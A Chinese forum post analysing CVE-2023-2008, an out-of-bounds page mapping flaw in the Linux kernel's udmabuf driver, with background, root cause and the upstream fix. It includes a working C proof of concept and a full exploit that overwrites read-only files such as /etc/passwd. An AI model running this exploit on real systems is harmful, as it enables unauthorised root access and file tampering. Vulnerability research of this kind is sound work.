吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2146|回复: 11
上一主题 下一主题
收起左侧

[漏洞分析] 【CVE-2023-2008】Linux kernel [dma-buf子系统:udmabuf]页面越界读写漏洞分析与利用

  [复制链接]
跳转到指定楼层
楼主
arttnba3 发表于 2025-1-1 01:50 回帖奖励
本帖最后由 arttnba3 于 2025-1-1 04:37 编辑

0x00. 一切开始之前

CVE-2023-2008 是一个发生在 Linux 内核的 dma-buf 子系统/dev/udmabuf 设备驱动中的一个漏洞,由于缺乏对范围扩张后的 udmabuf::pages 的边界检查,导致攻击者可以完成越界页面指针映射,从而完成越权文件写入攻击以进行提权;该漏洞影响版本为 4.20 ~ 5.4.2015.5 ~ 5.10.1265.11~5.15.505.16 ~ 5.18.7 ,本文我们选用 5.11 版本的内核源码进行分析

原本打算在 2025 年到来之前写完发出去的,结果今晚被导师叫出去吃大餐,所以最后拖到了 2025 年的第一天凌晨才慢慢写完:)

在开始之前,我们先补充一些 dma-buf 与 udmabuf 的基础知识

基本原理

dma-buf 子系统 为不同设备驱动与其他子系统提供了一个方便统一的 内存共享框架 ,常用于 GPU 及显示驱动等,其主要有三个用于交互的部分:

  • dma-buf :表示一个 sg_table ,并作为文件描述符导出到用户空间以允许在进程、子系统、设备间传递(注:UNIX domain socket)
  • dma-fence :提供了对异步硬件操作是否完成的检测机制
  • dma-resv :为一个特定的 dma-buf 管理一组 dma-fence ,通过隐式的(内核排序的)同步工作以保持表面上的一致访问

在 dma-buf 框架中主要有两个对象,分别是:

  • exporter :共享内存的生产者(内核驱动)
    • 负责为内存实现 struct dma_buf_ops 操作函数表
    • 允许通过 dma_buf API 共享内存
    • 通过 struct dma_buf 管理内存分配的细节
    • 决定实际的分配,并负责所有共享用户的 scatterlist (page 为单位的物理连续内存块)迁移
  • importer/user :共享内存的消费者(可以是用户态程序也可以是内核态驱动)
    • 不关心内存来源
    • 通过 struct dma_buf_attachment 接口访问共享内存(一般通过共享的文件描述符获取)

<!-- -->

扩展阅读:sg_table 与 scatterlist - 离散连续内存

简而言之,单个 scatterlist 用来表示一块 物理连续以页为单位 的内存块,sg_table 则表示一个离散 scatterlist 数组

struct scatterlist {
        unsigned long        page_link;
        unsigned int        offset;
        unsigned int        length;
        dma_addr_t        dma_address;
#ifdef CONFIG_NEED_SG_DMA_LENGTH
        unsigned int        dma_length;
#endif
#ifdef CONFIG_NEED_SG_DMA_FLAGS
        unsigned int    dma_flags;
#endif
};

struct sg_table {
        struct scatterlist *sgl;        /* the list */
        unsigned int nents;                /* number of mapped entries */
        unsigned int orig_nents;        /* original size of list */
};

其通常结构如下图所示:

自己画的图

对于分配的 scatterlist 数组长度大于一张内存页的情况,其会被分割成多块,其中单张 scatterlist 数组页面上的最后一个成员的 page_link 字段会用于标识是否存在下一份页面以及下一份 scatterlist 页面所在内存页:

自己画的图

具体而言,dma-buf 的通常使用流程如下:

  • exporter 侧用 DEFINE_DMA_BUF_EXPORT_INFO() 创建一个临时 dma_buf_export_info 结构体,并定义导出信息,这通常包括:

    • ::ops:自定义的 struct dma_buf_ops
    • ::priv:自定义私有数据的指针
    • ::size :共享内存大小
    • ::flags :内存读写权限
  • exporter 侧调用 dma_buf_export() 创建 dma_buf 对象

  • exporter 侧调用 dma_buf_fd()dma_buf 对象关联到一个新的文件描述符 fd 中(注:使用 fd 进行传递是比较常见的方式,但不唯一)

  • exporter 侧将 fd 传给 importer

  • importer 调用 dma_buf_get(fd) 获取 dma_buf 对象

  • importer 调用 dma_buf_attach()dma_buf_map_attachment() 获取共享缓存的信息

  • importer 使用 sg_table 的内容

  • importer 调用 dma_buf_detach()dma_buf_unmap_attachment() 释放对 dma_buf 的引用

  • importer 调用 dma_buf_put(fd) 释放文件描述符

对于涉及用户态的 DMA-BUF 使用而言,将 dma_buf 封装到 fd 当中通常是必须的:exporter 获取共享内存对应的 dma-buf 的文件描述符 fd ,通过 ioctl 或是 UNIX domain socket 等方式发送给 importer,importer 再 mmap(fd) 以访问共享内存:

需要注意的是 exporter 与 importer 并不总是分离的,也可以有同时存在于同一驱动的情况(例如 DRM)

udmabuf:简易封装接口

得益于 dma_buf 的好用,Linux kernel 于 2018 年引入了一个封装好的 dma_buf 设备驱动——udmabuf ,其在内核中实现了一个封装好的 exporter,并支持通过 ioctl() 创建 dma_buf 以在用户态程序之间进行内存共享

udmabuf 的基本使用方式非常简单:

  • 使用 memfd_create() 创建一个文件描述符
  • 封装 udmabuf_create 请求,通过 ioctl("/dev/udmabuf") 获取 dma_buf 的 fd
  • 通过 mmap() 进行访问

有了 dma_buf 的 fd,后面的内存访问操作就和之前没什么区别了,在进程间进行共享只需要共享这个文件描述符即可(例如使用 UNIX domain socket)

udmabuf 的实现非常简单,主要就是注册了一个杂项设备 /dev/udmabuf ,并支持两个自定义的 IOCTL 命令:

/drivers/dma-buf/udmabuf.c

static long udmabuf_ioctl(struct file *filp, unsigned int ioctl,
                          unsigned long arg)
{
        long ret;

        switch (ioctl) {
        case UDMABUF_CREATE:
                ret = udmabuf_ioctl_create(filp, arg);
                break;
        case UDMABUF_CREATE_LIST:
                ret = udmabuf_ioctl_create_list(filp, arg);
                break;
        default:
                ret = -ENOTTY;
                break;
        }
        return ret;
}

static const struct file_operations udmabuf_fops = {
        .owner                = THIS_MODULE,
        .unlocked_ioctl = udmabuf_ioctl,
#ifdef CONFIG_COMPAT
        .compat_ioctl   = udmabuf_ioctl,
#endif
};

static struct miscdevice udmabuf_misc = {
        .minor          = MISC_DYNAMIC_MINOR,
        .name           = "udmabuf",
        .fops           = &udmabuf_fops,
};

udmabuf_ioctl_create()udmabuf_ioctl_create_list() 最终都会调用到 udmabuf_create() ,其会按照 DMA-BUF 的常规流程创建一个 dma_buf()  并分配对应的内存页:

static long udmabuf_create(struct miscdevice *device,
                           struct udmabuf_create_list *head,
                           struct udmabuf_create_item *list)
{
        DEFINE_DMA_BUF_EXPORT_INFO(exp_info);
        struct file *memfd = NULL;
        struct udmabuf *ubuf;
        struct dma_buf *buf;
        pgoff_t pgoff, pgcnt, pgidx, pgbuf = 0, pglimit;
        struct page *page;
        int seals, ret = -EINVAL;
        u32 i, flags;

        ubuf = kzalloc(sizeof(*ubuf), GFP_KERNEL);
        if (!ubuf)
                return -ENOMEM;

        pglimit = (size_limit_mb * 1024 * 1024) >> PAGE_SHIFT;
        for (i = 0; i < head->count; i++) {
                if (!IS_ALIGNED(list[i].offset, PAGE_SIZE))
                        goto err;
                if (!IS_ALIGNED(list[i].size, PAGE_SIZE))
                        goto err;
                ubuf->pagecount += list[i].size >> PAGE_SHIFT;
                if (ubuf->pagecount > pglimit)
                        goto err;
        }
        ubuf->pages = kmalloc_array(ubuf->pagecount, sizeof(*ubuf->pages),
                                    GFP_KERNEL);
        if (!ubuf->pages) {
                ret = -ENOMEM;
                goto err;
        }

        pgbuf = 0;
        for (i = 0; i < head->count; i++) {
                ret = -EBADFD;
                memfd = fget(list[i].memfd);
                if (!memfd)
                        goto err;
                if (!shmem_mapping(file_inode(memfd)->i_mapping))
                        goto err;
                seals = memfd_fcntl(memfd, F_GET_SEALS, 0);
                if (seals == -EINVAL)
                        goto err;
                ret = -EINVAL;
                if ((seals & SEALS_WANTED) != SEALS_WANTED ||
                    (seals & SEALS_DENIED) != 0)
                        goto err;
                pgoff = list[i].offset >> PAGE_SHIFT;
                pgcnt = list[i].size   >> PAGE_SHIFT;
                for (pgidx = 0; pgidx < pgcnt; pgidx++) {
                        page = shmem_read_mapping_page(
                                file_inode(memfd)->i_mapping, pgoff + pgidx);
                        if (IS_ERR(page)) {
                                ret = PTR_ERR(page);
                                goto err;
                        }
                        ubuf->pages[pgbuf++] = page;
                }
                fput(memfd);
                memfd = NULL;
        }

        exp_info.ops  = &udmabuf_ops;
        exp_info.size = ubuf->pagecount << PAGE_SHIFT;
        exp_info.priv = ubuf;
        exp_info.flags = O_RDWR;

        ubuf->device = device;
        buf = dma_buf_export(&exp_info);
        if (IS_ERR(buf)) {
                ret = PTR_ERR(buf);
                goto err;
        }

        flags = 0;
        if (head->flags & UDMABUF_FLAGS_CLOEXEC)
                flags |= O_CLOEXEC;
        return dma_buf_fd(buf, flags);

err:
        while (pgbuf > 0)
                put_page(ubuf->pages[--pgbuf]);
        if (memfd)
                fput(memfd);
        kfree(ubuf->pages);
        kfree(ubuf);
        return ret;
}

因此实际上 udmabuf 相当于一个预封装好了的 DMA-BUF 接口,用户态进程只需要直接请求便能获取一份共享内存并通过对应绑定的文件描述符进行访问

0x01. 漏洞分析

Root Cause

udmabuf 驱动当中,udmabuf 结构体被用以表示一份与一个 DMA-BUF 绑定的共享内存:

struct udmabuf {
        pgoff_t pagecount;
        struct page **pages;
};

众所周知 dma_buf 内存在用户态一般通过 mmap() 访问,当我们第一次读写 mmap()udmabuf 所给的 dma_buf 的内存时,会触发缺页异常以分配内存页,因为在创建 dma_buf 时有如下调用链:

ksys_ioctl()
        do_vfs_ioctl()
                vfs_ioctl()
                        filp->f_op->unlocked_ioctl()        /* udmabuf_misc.fops = &udmabuf_fops */
                                udmabuf_ioctl()
                                        udmabuf_ioctl_create()        /* 或者 list */
                                                udmabuf_create()

udmabuf_create() 中会初始化 dma_buf 的函数表为 udmabuf_ops

static const struct dma_buf_ops udmabuf_ops = {
        .map_dma_buf          = map_udmabuf,
        .unmap_dma_buf          = unmap_udmabuf,
        .release          = release_udmabuf,
        .map                  = kmap_udmabuf,
        .unmap                  = kunmap_udmabuf,
        .mmap                  = mmap_udmabuf,
};

static long udmabuf_create(const struct udmabuf_create_list *head,
                           const struct udmabuf_create_item *list)
{
        DEFINE_DMA_BUF_EXPORT_INFO(exp_info);

        /* ... */

        exp_info.ops  = &udmabuf_ops;
        exp_info.size = ubuf->pagecount << PAGE_SHIFT;
        exp_info.priv = ubuf;
        exp_info.flags = O_RDWR;

mmap_udmabuf() 当中为 mmap 对应的 vm_area_struct 配置了函数表 udmabuf_vm_ops

static const struct vm_operations_struct udmabuf_vm_ops = {
        .fault = udmabuf_vm_fault,
};

static int mmap_udmabuf(struct dma_buf *buf, struct vm_area_struct *vma)
{
        struct udmabuf *ubuf = buf->priv;

        if ((vma->vm_flags & (VM_SHARED | VM_MAYSHARE)) == 0)
                return -EINVAL;

        vma->vm_ops = &udmabuf_vm_ops;
        vma->vm_private_data = ubuf;
        return 0;
}

因此在缺页异常时最终会调用到 udmabuf_vm_fault() 函数,从 udmabuf::pages 中取出对应的内存页:

static vm_fault_t udmabuf_vm_fault(struct vm_fault *vmf)
{
        struct vm_area_struct *vma = vmf->vma;
        struct udmabuf *ubuf = vma->vm_private_data;

        vmf->page = ubuf->pages[vmf->pgoff];
        get_page(vmf->page);
        return 0;
}

注意到 udmabuf_vm_fault() 函数并未对 vmf->pgoff 的大小进行检查,这是因为  dma-bufmmap() 路径会调用到 dma_buf_mmap_internal() ,在其中会先进行范围检查后再调用 dmabuf->ops->mmap() ,因此在 正常读写 的情况下并不会超出 udmabuf::pages 的范围:

static int dma_buf_mmap_internal(struct file *file, struct vm_area_struct *vma)
{
        struct dma_buf *dmabuf;

        if (!is_dma_buf_file(file))
                return -EINVAL;

        dmabuf = file->private_data;

        /* check if buffer supports mmap */
        if (!dmabuf->ops->mmap)
                return -EINVAL;

        /* check for overflowing the buffer's size */
        if (vma->vm_pgoff + vma_pages(vma) >
            dmabuf->size >> PAGE_SHIFT)
                return -EINVAL;

        return dmabuf->ops->mmap(dmabuf, vma);
}

static const struct file_operations dma_buf_fops = {
        /* ... */
        .mmap                = dma_buf_mmap_internal,

但这存在一个问题—— mmap() 所映射的区域是可以被扩展(expand)和收缩(shrink)的,这一般可以通过 mremap() 系统调用完成:

mremap() 可以改变一个 vm_area_struct 的地址空间大小,而这个功能默认开启,若要限制则需要在 mmap 时为 vm_area_struct::vm_flags 添加 VM_DONTEXPAND 标志位

kcov_mmap() 为例:

static int kcov_mmap(struct file *filep, struct vm_area_struct *vma)
{
        /* ... */
                vma->vm_flags |= VM_DONTEXPAND;

udmabufmmap() 路径上 并未为 vm_area_struct 添加任何限制,这意味着可以直接用 mremap 改变内存块的大小 ——这意味着 mmap 区域的缺页异常 可以超出 udmabuf::pages 的范围,将其相邻内存上的数据看作一个 page 指针进行映射 ——即存在越界读写漏洞

Proof-Of-Concept

现在我们来进行漏洞验证,我们首先在 udmabuf::pages 旁边堆喷一大堆的垃圾数据,之后再使用 mremap() 扩展 mmap() 区域,随后读写 mmap() 区域以触发缺页异常来触发内核越界读写:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/udmabuf.h>
#include <sched.h>

#define SOCKET_NUM 8
#define SK_BUFF_NUM 4
#define UDMA_PAGE_NR 128

int init_socket_array(int sk_socket[SOCKET_NUM][2])
{
    /* socket pairs to spray sk_buff */
    for (int i = 0; i < SOCKET_NUM; i++) {
        if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_socket[i]) < 0) {
            printf("[x] failed to create no.%d socket pair!\n", i);
            return -1;
        }
    }

    return 0;
}

int spray_sk_buff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size)
{
    for (int i = 0; i < SOCKET_NUM; i++) {
        for (int j = 0; j < SK_BUFF_NUM; j++) {
            if (write(sk_socket[i][0], buf, size) < 0) {
                printf("[x] failed to spray %d sk_buff for %d socket!", j, i);
                return -1;
            }
        }
    }

    return 0;
}

void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m Process binded to core \033[0m%d\n", core);
}

void proof_of_concept(void)
{
    int dma_fd, dev_fd, mem_fd;
    char *udma_buf, buf[0x1000];
    struct udmabuf_create info;
    int sk_socket[SOCKET_NUM][2];

    /* prepare stage */

    puts(" Preparing...");

    bind_core(0);

    if (init_socket_array(sk_socket) < 0) {
        perror("Unable to create socket for heap spray");
        exit(EXIT_FAILURE);
    }

    mem_fd = memfd_create("test", MFD_ALLOW_SEALING);
    if (mem_fd < 0) {
        perror("Failed to create mem_fd");
        exit(EXIT_FAILURE);
    }

    if (ftruncate(mem_fd, 0x1000 * UDMA_PAGE_NR) < 0) {
        perror("Failed to change size of mem_fd");
        exit(EXIT_FAILURE);
    }

    if (fcntl(mem_fd, F_ADD_SEALS, F_SEAL_SHRINK) < 0) {
        perror("Failed to seal mem_fd");
        exit(EXIT_FAILURE);
    }

    dev_fd = open("/dev/udmabuf", O_RDWR);
    if (dev_fd < 0) {
        perror("Failed to open udmabuf dev file");
        exit(EXIT_FAILURE);
    }

    strcpy(buf, "arttnba3");

    /* first heap spray */

    puts(" Spraying sk_buff...");

    if (spray_sk_buff(sk_socket, buf, UDMA_PAGE_NR * sizeof(void*) - 512) < 0) {
        perror("Failed to do the heap spray");
        exit(EXIT_FAILURE);
    }

    /* allocate udmabuf::pages */

    puts(" Allocating udmabuf...");

    memset(&info, 0, sizeof(info));
    info.memfd = mem_fd;
    info.size = 0x1000 * UDMA_PAGE_NR;

    dma_fd = ioctl(dev_fd, UDMABUF_CREATE, &info);
    if (dma_fd < 0) {
        perror("Failed to create dma_buf");
        exit(EXIT_FAILURE);
    }

    /* second heap spray */

    puts(" Spraying sk_buff...");

    if (spray_sk_buff(sk_socket, buf, UDMA_PAGE_NR * sizeof(void*) - 512) < 0) {
        perror("Failed to do the heap spray");
        exit(EXIT_FAILURE);
    }

    /* mmap stage */

    puts(" MMAP and MREMAP udmabuf...");

    udma_buf = mmap(
        NULL,
        0x1000 * UDMA_PAGE_NR,
        PROT_READ | PROT_WRITE,
        MAP_FILE | MAP_SHARED,
        dma_fd,
        0
    );
    if (udma_buf == MAP_FAILED) {
        perror("Failed to map dma_fd");
        exit(EXIT_FAILURE);
    }

    udma_buf = mremap(
        udma_buf,
        0x1000 * UDMA_PAGE_NR,
        0x1000 * (UDMA_PAGE_NR + 1),
        MREMAP_MAYMOVE
    );
    if (udma_buf == MAP_FAILED) {
        perror("Failed to mremap dma_buf area");
        exit(EXIT_FAILURE);
    }

    /* trigger out-of-bound vulnerabilities */
    puts(" Triggering...");
    *(size_t*) &udma_buf[0x1000 * UDMA_PAGE_NR] = *(size_t*) "arttnba3";
}

int main(int argc, char **argv, char **envp)
{
    proof_of_concept();
    return 0;   /* never arrive here... */
}

成功让内核尝试将我们的垃圾数据作为 struct page* 指针进行映射:

0x02. 漏洞利用

越界映射 pipe_buffer::page 完成文件越权读写

有了将越界数据作为 struct page 指针进行使用的权能,接下来我们考虑如何进行漏洞利用,我们不难想到的是可以将开头原生有着合法 struct page 指针的结构体作为 victim object ,而其中不难想到的是 struct pipe_buffer

struct pipe_buffer {
        struct page *page;
        unsigned int offset, len;
        const struct pipe_buf_operations *ops;
        unsigned int flags;
        unsigned long private;
};

而想到 pipe_buffer ,我们不难想到 CVE-2022-0847 ,即 dirty pipe 这一利用手法——通过 spice 系统调用将 pipe_buffer::page 映射为只读文件内容,从而完成越权写入操作

  • 首先堆喷 pipe_buffer
  • 接下来分配 udmabuf::pages
  • 再堆喷 pipe_buffer ,从而确保能够将  udmabuf::pagespipe_buffer 包围
  • 通过 splice 系统调用映射只读文件到  pipe_buffer::page
  • 通过漏洞映射  pipe_buffer::page 页面并改写内容

最终的 exp 如下:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/udmabuf.h>
#include <sched.h>
#include <errno.h>

#define PIPE_SPRAY_NR 128
#define UDMA_PAGE_NR 128

int prepare_pipe(int pipe_fd[PIPE_SPRAY_NR][2])
{
    int err;

    for (int i = 0; i < PIPE_SPRAY_NR; i++) {
        if ((err = pipe(pipe_fd[i])) < 0) {
            printf("[x] failed to alloc %d pipe!", i);
            return err;
        }
    }

    return 0;
}

ssize_t splice_pipe(int pipe_fd[PIPE_SPRAY_NR][2], int victim_fd)
{
    ssize_t err;
    loff_t offset;

    for (int i = 0; i < PIPE_SPRAY_NR; i++) {
        offset = 0;
        if ((err = splice(victim_fd, &offset, pipe_fd[i][1], NULL, 0x1000, 0)) < 0){
            printf("[x] failed to splice %d pipe!", i);
            return err;
        }
    }

    return 0;
}

void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m Process binded to core \033[0m%d\n", core);
}

void proof_of_concept(char *target_file, char *content)
{
    int dma_fd, dev_fd, mem_fd, victim_fd;
    char *udma_buf, buf[0x1000];
    struct udmabuf_create info;
    int pipe_fd1[PIPE_SPRAY_NR][2], pipe_fd2[PIPE_SPRAY_NR][2];

    /* prepare stage */

    puts(" Preparing...");

    bind_core(0);

    mem_fd = memfd_create("test", MFD_ALLOW_SEALING);
    if (mem_fd < 0) {
        perror("Failed to create mem_fd");
        exit(EXIT_FAILURE);
    }

    if (ftruncate(mem_fd, 0x1000 * UDMA_PAGE_NR) < 0) {
        perror("Failed to change size of mem_fd");
        exit(EXIT_FAILURE);
    }

    if (fcntl(mem_fd, F_ADD_SEALS, F_SEAL_SHRINK) < 0) {
        perror("Failed to seal mem_fd");
        exit(EXIT_FAILURE);
    }

    dev_fd = open("/dev/udmabuf", O_RDWR);
    if (dev_fd < 0) {
        perror("Failed to open udmabuf dev file");
        exit(EXIT_FAILURE);
    }

    victim_fd = open(target_file, O_RDONLY);
    if (victim_fd < 0) {
        perror("Failed to open target victim file");
        exit(EXIT_FAILURE);
    }

    strcpy(buf, "arttnba3");

    /* first heap spray */

    puts(" Spraying pipe_buffer...");

    if (prepare_pipe(pipe_fd1) < 0) {
        perror("Failed to spray pipe_buffer");
        exit(EXIT_FAILURE);
    }

    /* allocate udmabuf::pages */

    puts(" Allocating udmabuf...");

    memset(&info, 0, sizeof(info));
    info.memfd = mem_fd;
    info.size = 0x1000 * UDMA_PAGE_NR;

    dma_fd = ioctl(dev_fd, UDMABUF_CREATE, &info);
    if (dma_fd < 0) {
        perror("Failed to create dma_buf");
        exit(EXIT_FAILURE);
    }

    /* second heap spray */

    puts(" Spraying pipe_buffer...");

    if (prepare_pipe(pipe_fd2) < 0) {
        perror("Failed to spray pipe_buffer");
        exit(EXIT_FAILURE);
    }

    /* mmap udmabuf stage */

    puts(" MMAP and MREMAP udmabuf...");

    udma_buf = mmap(
        NULL,
        0x1000 * UDMA_PAGE_NR,
        PROT_READ | PROT_WRITE,
        MAP_FILE | MAP_SHARED,
        dma_fd,
        0
    );
    if (udma_buf == MAP_FAILED) {
        perror("Failed to map dma_fd");
        exit(EXIT_FAILURE);
    }

    udma_buf = mremap(
        udma_buf,
        0x1000 * UDMA_PAGE_NR,
        0x1000 * (UDMA_PAGE_NR + 1),
        MREMAP_MAYMOVE
    );
    if (udma_buf == MAP_FAILED) {
        perror("Failed to mremap dma_buf area");
        exit(EXIT_FAILURE);
    }

    /* splicing pipe_buffer */
    if (splice_pipe(pipe_fd1, victim_fd) < 0) {
        perror("Failed to splice target fd");
        exit(EXIT_FAILURE);
    }

    if (splice_pipe(pipe_fd2, victim_fd) < 0) {
        perror("Failed to splice target fd");
        exit(EXIT_FAILURE);
    }

    /* trigger out-of-bound vulnerabilities */
    puts(" Triggering...");
    strcpy((void*) &udma_buf[0x1000 * UDMA_PAGE_NR], content);

    /* enjoy :) */
}

int main(int argc, char **argv, char **envp)
{
    if (argc < 3) {
        puts("[x] Usage: ./exploit target_file_path content");
        exit(EXIT_FAILURE);
    }

    proof_of_concept(argv[1], argv[2]);

    return 0;
}

运行,成功修改只读文件:

有了越权文件读写的权能,在实战当中能够玩的花样就多很多了,例如通过覆写 /etc/passwd 完成提权:)

需要注意的是,pipe_buffer 所使用的分配 flag 为 GFP_KERNEL_ACCOUNT ,在 5.9 ~ 5.14 这个内核版本范围外会使得其与 udmabuf::pages 分配自两个不同的 kmem_cache ,因此若是要在这些版本中利用该漏洞,则你可能需要一些 cross-cache overflow 与内核堆风水的技巧

0x03. 漏洞修复

这个漏洞最终在 这个 commit 当中被修复,修复方式是在 udmabuf_vm_fault() 当中添加了一个范围检查,笔者个人的感觉是 虽然漏洞是修复了但是修的挺简陋的,不够优雅,因为在笔者看来还应该在 mremap 的调用链当中加入范围检查

diff --git a/drivers/dma-buf/udmabuf.c b/drivers/dma-buf/udmabuf.c
index e7330684d3b824..9631f2fd2faf7f 100644
--- a/drivers/dma-buf/udmabuf.c
+++ b/drivers/dma-buf/udmabuf.c
@@ -32,8 +32,11 @@ static vm_fault_t udmabuf_vm_fault(struct vm_fault *vmf)
 {
         struct vm_area_struct *vma = vmf->vma;
         struct udmabuf *ubuf = vma->vm_private_data;
+        pgoff_t pgoff = vmf->pgoff;

-        vmf->page = ubuf->pages[vmf->pgoff];
+        if (pgoff >= ubuf->pagecount)
+                return VM_FAULT_SIGBUS;
+        vmf->page = ubuf->pages[pgoff];
         get_page(vmf->page);
         return 0;
 }

免费评分

参与人数 11吾爱币 +12 热心值 +11 收起 理由
ycycn + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
WillemSter + 1 我很赞同!
stilt6642 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
allspark + 1 + 1 用心讨论,共获提升!
Tonyha7 + 2 + 1 谢谢@Thanks!
pHz + 1 + 1 我很赞同!
CYTuo0601 + 1 + 1 谢谢@Thanks!
David13738 + 1 + 1 热心回复!
fengbolee + 2 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
MinuxCyber + 1 + 1 热心回复!
woyucheng + 1 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

沙发
zhangzheh 发表于 2025-1-1 08:28
厉害,厉害
3#
teucrian 发表于 2025-1-1 18:31
4#
starryskyhello 发表于 2025-1-2 22:05
5#
uLY3M 发表于 2025-1-3 16:55
很专业的分析
6#
Akasiki 发表于 2025-1-4 20:16
太厉害啦
7#
Knm 发表于 2025-1-5 11:23
感谢大佬分享
8#
DoubleDragon 发表于 2025-1-5 18:05
膜拜大佬了,感谢分享
9#
amwquhwqas128 发表于 2025-1-5 23:05
关于漏洞的分析文章非常难得
10#
rmb788520 发表于 2025-1-6 10:41
膜拜大佬。漏洞分析厉害
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-1-11 17:05

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表